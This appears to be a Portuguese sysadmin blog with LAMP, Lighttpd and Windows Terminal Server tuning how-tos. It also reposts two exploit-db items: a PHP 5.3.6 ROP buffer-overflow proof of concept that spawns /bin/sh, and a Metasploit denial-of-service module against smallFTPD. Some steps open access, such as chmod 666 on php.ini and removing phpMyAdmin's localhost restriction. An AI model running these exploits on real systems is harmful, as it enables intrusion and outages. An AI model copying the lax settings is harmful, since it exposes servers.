Use of uninitialized value in string ne at /usr/sbin/ddclient line 1973.

Standard

Se você está usando DEBIAN-BASED (mind/debian/ubuntu) e toda vez que roda o comando ddclient ele apresenta erro SEUS PROBLEMAS “SE ACABARAM-SE”!

Para sanar, como root faça o seguinte:

rm -rf /var/cache/ddclient/ddclient.cache

Depois rode o comando ddclient, a saída vai ser algo semelhante a:
SUCCESS:  updating SEUHOST.ALGUMACOISAg: good: IP address set to IPDASUAINTERFACEWEB

 

Abraços galera

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Standard

Este artigo vai parecer muito com a instalação do apache, php e mysql sob mac os x snow leopard, porém existem algumas particularidades que precisam ser detalhadas. Antemão parte do artigo do mamp sob snow leopard será copiado, depois, iremos detalhar pontos MUITO importantes para que tudo funcione corretamente. Estamos testando em um hackintosh LION (10.7.1), literalmente current (updates mais novas).

Vamos lá:

No outro artigo, para habilitarmos o apache usamos o comando com poder de root (sudo) para ativar o web server, mas agora isto só é permitido sem stress via Preferências do Sistema -> Sharing (compartilhamento) e marcando o Web Server (compartilhamento de arquivos web), lhe mostraremos imagens abaixo:

Abrindo o menu de sharing para apache

Abrindo o menu de sharing para apache

Clicando em compartilhamento de páginas web

Clicando em compartilhamento de páginas web

Note acima que clicamos em COMPARTILHAMENTO junto as preferências de sistema e em seguida marcamos o compartilhamento do apache (páginas web). Toda mudança significativa do mac faz controle de permissões (segurança), por isso coloque seu login e senha para autorizar a mudança.

Feito isto teremos de entrar no conf do apache para liberarmos o php5, veja os passos que diremos.

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf

 

Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/libphp5.so

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
:wq!
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
America/Sao_Paulo
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
:wq!
Aperte ENTER e terá o arquivo salvo.

 

As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:
http://www.php.net/manual/en/timezones.america.php

Se mesmo assim não lhe agradar você pode usar os globais:
http://www.php.net/manual/en/timezones.others.php

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
America/Porto_Velho
America/Noronha
America/Rio_Branco
America/Recife
America/Sao_Paulo
America/Porto_Acre
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
http://dev.mysql.com/downloads/mysql/5.1.html#macosx-dmg
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X LION está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x

como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
HTTP://dev.mysql.com/get/Downloads/MySQL-5.1/mysql-5.1.58-osx10.6-x86.dmg/form/http://mysql.cce.usp.br/
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:

passo1

passo1

 




















Temos de focar em um ponto em comum.

Temos um script na pasta de download que abrimos (do MYSQL).
Veja o seguinte, MYSQL.PREFPANE é um script que serve para adicionar o script (ícone) de inicialização do MYSQL dentro das preferências do sistema, por isso DEVEMOS executar ele sim, autorizando-o com a senha do usuário. (sem isso teremos de inicializar na mão com o comando mysqld (VIXE, mac é praticidade RAPÁ!)






Feito isto iremos confirmar se o mysql está rodando com o seguinte comando (dentro do terminal):

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Substitua little_oak por SEU_USUÁRIO.

Isto fará com que você esteja dentro do mysql (Via terminal).

Veja como abrir o terminal:

Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x

como abrir terminais no mac os x

como abrir terminais no mac os x

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>

 

Quando citamos a parte do mysql, praticamente contorna a viagem de redefinir a senha de root. Se dermos ouvidos ao Mágico de OZ e inventarmos redefinir senhas vamos brincar com isso ó:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysqld –skip-grant-tables –user=root

grant all…

flush privileges e talz, NÃO PRECISA DISSO, o mac entende que você é um cara que é punk no sistema, que só dá sudo quando sabe o que tá fazendo.

Para conferir como alterar a senha de root do mysql basta clicar no nosso artigo de como redefinir a senha de root no mysql dentro do mac os x lion sem complicações.

PONTO EXTRA:

Como a galera está falando muito de MCRYPT no Mac Os X Lion, o path padrão dele é /usr/share/file/magic/mcrypt
, se quiser descomente a linha do mcrypt no php.ini e mande ficha.

 

Uma coisa massa, se você quer ver a documentação do apache meta bala em http://localhost/manual/, veja a imagem abaixo:

 

manual do apache

manual do apache

 

Se você curtiu esse post dê share 😛

Como fazer tunning do Terminal Server na windows server 2003

Standard


Eliminate IE Flickering: Configure this setting to force off-screen composition of Internet Explorer, which eliminates the flickering effect. In HKEY_ CURRENT_USER\Software\Microsoft\Internet Explorer\Main, set the DWORD value for Force Offscreen Composition to 1.

Disable Office 2003 Customer Experience Improvement Program: Configure this setting to prevent Office from prompting the user to participate in this program. To enable, in HKEY_ CURRENT_USER\Software\Microsoft\Office\Common, set the DWORD value for QMEnable to 1.
Disable File Locking: Configure this setting to modify the file locking behavior on the server. This will enhance performance, but it's known to have issues with some database applications. To enable, in HKEY_LOCAL_ MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters, set the DWORD value for UseLockReadUnlock to 1.

Disable NTFS Last-Accessed Time Stamping: Configure this setting to prevent the system from updating the last accessed time stamp on files, which can enhance performance. Some applications require this to be accurate, so test prior to implementing. To enable, in HKEY_LOCAL_ MACHINE\System\CurrentCon trolSet\Control\FileSystem, set the DWORD value for NtfsDisable LastAccessUpdate to 1.
Turn off Lazy Writes: This setting prevents the system from caching write operations before writing them to disk. This can speed operation over the network. Configure the following two keys: In HKEY_LOCAL_MACHINE\ System\CurrentControlSet\Services\ LanmanServer\Parameters, set the DWORD value for IRPStackSize to 15. Also, in HKEY_LOCAL_MACHINE\ System\CurrentControlSet\Services\ LanmanWorkstation\Parameters, set the DWORD value for UtilizeNT Caching to 0.

Improve Windows Kernel Performance: Prevents the system from paging kernel mode drivers and system code to disk, which can decrease performance. To configure: In HKEY_LOCAL_ MACHINE\System\CurrentCon trolSet\Control\Session Manager\ Memory Management, set the DWORD value for DisablePagingExecutive to 1.

Increase the Network Request Buffer: This setting boosts performance by increasing the size of the network request buffer, which determines how much data is stored before it is sent to the client. This setting can also improve LAN Manager file writing performance. Increasing the size of this buffer will consume RAM, so adjust and monitor carefully. To enable, in HKEY_ LOCAL_MACHINE\System\Current ControlSet\Services\LanmanServer\Parameters, increase the DWORD value for SizReqBuf to a value between 1024 and 65535.

Eliminate Session Hangs During Logoff: Terminal Server sessions can sometimes hang when the user attempts to log off. One solution: Modify available network buffers and open connections. Configure the following keys: In HKEY_LOCAL_MACHINE\ System\CurrentControlSet\Services\ LanmanServer\Parameters, set the DWORD value for MaxWorkItems to 8196, MaxMpxCt to 2048, MaxRaw WorkItems to 512, MaxFreeConnections to 100, and MinFreeConnections to 32. In KEY_LOCAL_MACHINE\ System\CurrentControlSet\ Services\LanmanServer\Parameters, set the DWORD value for MaxCmds to 2048. Also, in HKEY_LOCAL_ MACHINE\System\Current ControlSet\Control\SessionManager\ ConfigurationManager, set the value for RegistryLazyFlushInterval to 60. Lastly, ensure that the Enable Advanced Performance feature is enabled when viewing device properties of all disk drives on the system.

Speed up Application Load Times: Increase the perceived performance of your Terminal Server by pre-loading commonly used files into memory. This works well on systems with plenty of available RAM. To enable, in HKEY_ LOCAL_MACHINE\System\ CurrentControlSet\Control\Session Manager\Memory Management\ PrefetchParameters, set the DWORD value for EnablePrefetcher to 3.

Disable Caching of Roaming Profiles: Excess roaming profiles on a Terminal Server can consume disk and Registry quota space. Configuring this setting can eliminate waste but increase user's login time. To enable, in HKEY_ LOCAL_MACHINE\Software\ Microsoft\Windows NT\Current Version\Winlogon, set the DWORD value for DeleteRoamingCache to 1.

Disable Unused Subsystems: Not using the POSIX subsystem on your Terminal Server? Disable it and navigate to the registry location HKEY_LOCAL_ MACHINE\System\CurrentCon trolSet\Control\Session Manager\ Subsystems and delete the Posix key. Disable the File Indexing Service: File Indexing Service is great for quickly searching for files, but your Terminal Server arguably shouldn't have that many user files on it and the indexing process can consume huge system resources. To disable it, navigate to the properties menu of each drive on your system and deselect the box for Allow Indexing Service to index this disk for fast file searching.

O registro do windows deve assemelhar-se com:

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\
Main]
"Force Offscreen Composition"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Office\Common]
"QMEnable"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
LanmanWorkstation\Parameters]
"UseLockReadUnlock"=dword:00000001

[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\
FileSystem]
"NtfsDisableLastAccessUpdate"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
Lanman Server\Parameters]
"IRPStackSize"=dword:0000000f
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Service\
Lanman WorkStation\Parameters]
"UtilizeNTCaching"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Session Manager\Memory Management]
"DisablePagingExecutive"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
LanmanServer\Parameters]
"SizReqBuf"=dword:0000ffff

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
Lanmanserver\Parameters]
"MaxWorkItems"=dword:00002004
"MaxMpxCt"=dword:00000800
"MaxRawWorkItems"=dword:00000200
"MaxFreeConnections"=dword:00000064
"MinFreeConnections"=dword:00000020
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\
Lanmanworkstation\Parameters]
"MaxCmds"=dword:00000800
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\
Session Manager\Configuration Manager]
"RegistryLazyFlushInterval"=dword:0000003c

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
SessionManager\Memory Management\PrefetchParameters]
"EnablePrefetcher"="3"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion\Winlogon]
"DeleteRoamingCache"=dword:00000001

http://redmondmag.com/articles/2006/06/01/speed-up-terminal-server.aspx

Como instalar php apache mysql phpmyadmin no Centos 6

Standard

Olá pessoal, como vocês sabem somos fanáticos pelo ambiente LAMP e agora iremos colocar para vocês um how to simples porém funcional de como instalar o apache, mysql, php e phpmyadmin na plataforma CentOs 6.

Vamos começar deixando tudo atualizado e corrigido:

[root@appunixlabs ~]# yum clean all && yum update -y

Agora vamos instalar o mysql:

[root@appunixlabs ~]# yum install mysql mysql-server -y

Devemos dar pemrissões para que o mysql (serviço) carregue no momento do boot:

[root@appunixlabs ~]# chkconfig –levels 235 mysqld on

E em seguida iniciar o sistema de banco de dados:

[root@appunixlabs ~]# /etc/init.d/mysqld start

Para setarmos as senhas de mysql devemos usar o seguinte comando:

[root@appunixlabs ~]# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it, we’ll need the current
password for the root user. If you’ve just installed MySQL, and
you haven’t set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] Enter para confirmar que quer mudar a senha de root
New password: Coloque a nova senha de root
Re-enter new password: Confirme a nova senha de root
Password updated successfully!
Reloading privilege tables..
… Success!

By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them. This is intended only for testing, and to make the installation
go a bit smoother. You should remove them before moving into a
production environment.

Remove anonymous users? [Y/n] Pressione Enter para invalidar acessos anônimos
… Success!

Normally, root should only be allowed to connect from ‘localhost’. This
ensures that someone cannot guess at the root password from the network.

Disallow root login remotely? [Y/n] Pressione Enter para Remover o acesso remoto ao banco de dados
… Success!

By default, MySQL comes with a database named ‘test’ that anyone can
access. This is also intended only for testing, and should be removed
before moving into a production environment.

Remove test database and access to it? [Y/n] Pressione Enter para remover a base de dados de testes
– Dropping test database…
… Success!
– Removing privileges on test database…
… Success!

Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.

Reload privilege tables now? [Y/n] Pressione enter para que o flushprivileges opere imediatamente e valide as mudanças
… Success!

Cleaning up…

All done! If you’ve completed all of the above steps, your MySQL
installation should now be secure.

Thanks for using MySQL!

[root@appunixlabs ~]#

Agora vamos instalar o apache com o seguinte comando:

[root@appunixlabs ~]# yum install httpd -y

Agora devemos deixar o apache com a mesma essência de serviços do mysql, operando assim que o boot for realizado:

[root@appunixlabs ~]# chkconfig –levels 235 httpd on

E para iniciarmos o bichão (apache):

[root@appunixlabs ~]# /etc/init.d/httpd start

Se quisermos acessar o server para garantir que o mesmo está operando filé em nosso sistema operacional, caso o server esteja em rede podemos acessa-lo através de seu respectivo ip. Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1
Uma página do apache sob CentOs será exibida mostrando que tudo está filé.

Vamos agora instalar o php

[root@appunixlabs ~]# yum install php

Devemos reiniciar o apache para garantir que a integração do interpretador esteja 100% eficaz:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Aonde fica o danado do path do php em meu sistema operacional Centos???
Calma, fique tranquilo, tudo está situado em /var/www/html, e para provar que sua instalação ficou filé faça o seguinte:
Nessa pasta crie um arquivo chamado index.php, abra-o com o vim ou crie-o com echo e dentro dele coloque uma instrução, veja o passo a passo:

[root@appunixlabs ~]# echo "<?php phpinfo(); ?>" >> index.php

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/index.php

Deverão ser exibidas todas as extensões e variáveis globais predefinidas na instalação nesta página acessada.

Agora precisamos fazer com que o mysql esteja integrado com o php, para isso iremos rodar o seguinte comando:

[root@appunixlabs ~]# yum install php-mysql php-gd php-imap php-ldap php-mbstring php-odbc php-pear php-xml php-xmlrpc -y

E para garantir que tudo está filé e com integração perfeita com nosso container vamos rodar o seguinte:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Precisamos fechar com chave de ouro agora no ponto de instalação fo phpmyadmin.
Para isto devemos fazer o seguinte-> Instalar o repositório RPMForge que é simplesmente punk e em seguida instalar os pacotes vindouros dele. Vamos por a mão na massa?

[root@appunixlabs ~]# rpm –import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt

Se seu sistema for 64 bits rode:

[root@appunixlabs ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm

Se seu sistema for 32 bits rode:

[root@appunixlabs ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.i686.rpm

Agora vamos instalar o phpmyadmin:

[root@appunixlabs ~]# yum install phpmyadmin -y

Precisamos agora criar aliases para que o phpmyadmin seja acessível sem qualquer transtorno junto ao apache, para isto devemos mudar o seguinte conf-> /etc/httpd/conf.d/phpmyadmin.conf e devemos mudar o seguinte, comentar as linhas abaixo (caso não estejam comentadas):

#<Directory "/usr/share/phpmyadmin">
#  Order Deny,Allow
#  Deny from all
#  Allow from 127.0.0.1
#</Directory>


E garantir que os aliases estejam conforme os abaixo dessa linha:

Alias /phpmyadmin /usr/share/phpmyadmin
Alias /phpMyAdmin /usr/share/phpmyadmin
Alias /mysqladmin /usr/share/phpmyadmin

Feito isso devemos garantir que nosso phpmyadmin faça validação por HTTP e não por meio de cookies, devemos editar o seguinte conf /usr/share/phpmyadmin/config.inc.php e mudar a seguinte linha:

/* Authentication type */
$cfg[‘Servers’][$i][‘auth_type’] = ‘http’;

Em http fica cookie, troque cookie por http para evitar dor de cabeça.

Depois de salvar o arquivo faça com que tudo esteja validado reiniciando o apache:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/phpmyadmin

Tudo ok?

Abraços e bons estudos.

Fontes:

Centos: http://centos.org/
Apache: http://apache.org
Mysql: http://mysql.com/
PhpMyadmin: http://www.phpmyadmin.net/home_page/index.php
PHP: http://www.php.net/
Linux: http://en.wikipedia.org/wiki/Linux
RPMForge: http://rpmrepo.net/RPMforge
How to forge: http://www.howtoforge.com/installing-apache2-with-php5-and-mysql-support-on-centos-6.0-lamp

PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938

Standard

/*
** Jonathan Salwan - @shell_storm
** http://shell-storm.org
** 2011-06-04
**
** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1938
**
** Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c
** in PHP 5.3.3 through 5.3.6 might allow context-dependent attackers to execute arbitrary
** code via a long pathname for a UNIX socket.
*/

echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)n";
echo "[+] CVE-2011-1938nn";

# Gadgets in /usr/bin/php
define('DUMMY', "x42x42x42x42"); // padding
define('STACK', "x20xbax74x08"); // .data 0x46a0 0x874ba20
define('STACK4', "x24xbax74x08"); // STACK + 4
define('STACK8', "x28xbax74x08"); // STACK + 8
define('STACK12', "x3cxbax74x08"); // STACK + 12
define('INT_80', "x27xb6x07x08"); // 0x0807b627: int $0x80
define('INC_EAX', "x66x50x0fx08"); // 0x080f5066: inc %eax | ret
define('XOR_EAX', "x60xb4x09x08"); // 0x0809b460: xor %eax,%eax | ret
define('MOV_A_D', "x84x3ex12x08"); // 0x08123e84: mov %eax,(%edx) | ret
define('POP_EBP', "xc7x48x06x08"); // 0x080648c7: pop %ebp | ret
define('MOV_B_A', "x18x45x06x08"); // 0x08064518: mov %ebp,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('MOV_DI_DX', "x20x26x07x08"); // 0x08072620: mov %edi,%edx | pop %esi | pop %edi | pop %ebp | ret
define('POP_EDI', "x23x26x07x08"); // 0x08072623: pop %edi | pop %ebp | ret
define('POP_EBX', "x0fx4dx21x08"); // 0x08214d0f: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('XOR_ECX', "xe3x3bx1fx08"); // 0x081f3be3: xor %ecx,%ecx | pop %ebx | mov %ecx,%eax | pop %esi | pop %edi | pop %ebp | ret

$padd = str_repeat("A", 196);

$payload = POP_EDI. // pop %edi
STACK. // 0x874ba20
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
"//bi". // pop %ebp
MOV_B_A. // mov %ebp,%eax
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
MOV_A_D. // mov %eax,(%edx)
POP_EDI. // pop %edi
STACK4. // 0x874ba24
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
"n/sh". // pop %ebp
MOV_B_A. // mov %ebp,%eax
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
MOV_A_D. // mov %eax,(%edx)
POP_EDI. // pop %edi
STACK8. // 0x874ba28
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
XOR_EAX. // xor %eax,%eax
MOV_A_D. // mov %eax,(%edx)
XOR_ECX. // xor %ecx,%ecx
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
POP_EBX. // pop %ebx
STACK. // 0x874ba20
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
XOR_EAX. // xor %eax,%eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INT_80; // int $0x80

$evil = $padd.$payload;

$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $evil);
?>

Fonte: http://www.exploit-db.com/exploits/17486/

Smallftpd 1.0.3 FTP Server Denial of Service Vulnerability

Standard

Exploit para dos no SmallFTPD:

# Exploit Title: smallFTPD Connection Saturation Remote Denial of Service

# Date: June 27, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://smallftpd.sf.net
# Version: 1.0.3-fix and earlier
# Tested on: windows xp, seven, 2k3
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'smallFTPD Connection Saturation Remote Denial of Service',
'Description' => %q{
This module triggers unauthenticated Denial-of-Service condition in SmallFTPD server versions 1.0.3-fix and earlier with a few dozens of connection requests. The vulnerability is probably conerned with smallftpd being unable to handle multiple connections regardless of its maximum connection settings. Upon successful DoS exploit, the smallftpd will crash or still seem functioning by showing its service banner. But in fact it stops denying new FTP requests, which can be verified only through a valid login.
},
'Author' => [ 'Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>' ],
'License' => MSF_LICENSE,
'Version' => '$Revision:  $',
'References' =>
[
[ 'URL', 'http://core.yehg.net/lab/pr0js/advisories/smallftpd_103-fix_saturation_dos' ]
],
'DisclosureDate' => 'June 2010'))
register_options(
[
Opt::RPORT(21)
],self.class)
end
def run
print_status("Sending DOS Packets ...")
35.times do |x|
connect
sock.put("USER CRASHEDrn")
disconnect
end
print_good("Done")
end

end

 

Fonte: http://www.exploit-db.com/exploits/17455/

Lighttpd php5 mysql no Ubuntu 11.04

Standard

Lighttpd é verdadeiramente uma bala no que tange a containers web. Muitas pessoas gostam dele (segundo a mídia até o Youtube já amou esse negócio), por isso estaremos indo direto ao assunto, vamos instalar essa bala no Ubuntu 11.04?

Temos que ter poder de root para fazer o negócio rodar (use sudo su ou su -, sendo su – melhor pois dá autoridade global):

apt-get update &&

apt-get install mysql-server mysql-client -y

Fazendo isto estaremos instalando o mysql server e seu client (inclusive no pacote vem a ferramenta replace, muito boa para substituir termos em um arquivo [depois falamos de utilitários em outro artigo]).

No momento seguinte o sistema vai pedir que você defina a senha de root:

New password for the MySQL … : Informe a senha de root
Repeat password for the MySQL …: Confirme novamente a senha

Vamos instalar o Lighttpd agora!

apt-get install lighttpd -y

Presumindo que você possui um ip setado a este pc (qualquer ip, se for por dhcp use ifconfig e veja o ip da sua eth0 ou ethX [sendo X ponto variável, podendo ser 1 para interface real secundária e assim por diante]) 10.0.0.1, abra o navegador e digite 10.0.0.1, deverá ser exibido um arquivo pedindo substituição de conteúdo, aonde o document root (pasta principal da web) fica em /var/www e o arquivo de configuração /etc/lighttpd/lighttpd.conf. As configurações extras ficam em /etc/lighttpd/conf-available . Se futuramente ativamos módulos extras podemos usar lighttpd-enable-mod para ativa-los. Os links simbólicos de comandos ficam em /etc/lighttpd/conf-enabled, mas o filé mesmo para edições e customizações é /etc/lighttpd/conf-available.

Hora de meter o php5 em modo fastcgi!

Vamos lá:

apt-get install php5-cgi

 

Para que tudo fique validado precisamos arrumar o esquema. Vamos editar o conf:

vim /etc/php5/cgi/php.ini

Devemos procurar pela linha:

cgi.fix_pathinfo

e mudar seu conteúdo para:

cgi.fix_pathinfo=1

Agora vamos ativar o módulo do php (claro que instalamos o mesmo para ser instância separada,  mas é um módulo):

lighttpd-enable-mod fastcgi

lighttpd-enable-mod fastcgi-php

Vamos conferir os links simbólicos paragarantir que tudo está ok entre os arquivos /etc/lighttpd/conf-enabled/10-fastcgi.conf , /etc/lighttpd/conf-available/10-fastcgi.conf,/etc/lighttpd/conf-enabled/15-fastcgi-php.conf e /etc/lighttpd/conf-available/15-fastcgi-php.conf :

ls -l /etc/lighttpd/conf-enabled

root@developer:~# ls -l /etc/lighttpd/conf-enabled
total 0
lrwxrwxrwx 1 root root 77 2011-05-25 7:46 10-fastcgi.conf -> ../conf-available/10-fastcgi.conf
lrwxrwxrwx 1 root root 78 2011-05-25 7:46 15-fastcgi-php.conf -> ../conf-available/15-fastcgi-php.conf
root@developer:~#

Vamos dar aquele reload sarado:

/etc/init.d/lighttpd force-reload

Vamos testar nosso sistema de containers?

vim /var/www/testes.php

Dentro dele colocarmos assim:

<?php

phpinfo();

?>

A abriremos o browser para ver se aparece a info do php com esse endereço: http://10.0.0.1/testes.php

Vamos dar suporte ao php para que o bichão possa usar o mysql sem stress?

apt-get install php5-mysql php5-curl php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl

Para validar todo o bando de mudanças façamos assim:

/etc/init.d/lighttpd restart

E para reconferir http://10.0.0.1/testes.php em seu navegador.

Thanks Guys!

😉

 

Nossas fontes:

 

Ubuntu alert USN-1158-1 (curl) CURL vulnerabilidade

Standard

Ubuntu alert USN-1158-1 (curl)

From: Steve Beattie <sbeattie@ubuntu.com>
To: ubuntu-security-announce@lists.ubuntu.com
Subject: [USN-1158-1] curl vulnerabilities
Date: Thu, 23 Jun 2011 20:31:50 -0700
Message-ID: <20110624033150.GB3479@nxnw.org>
Archive-link: Article, Thread
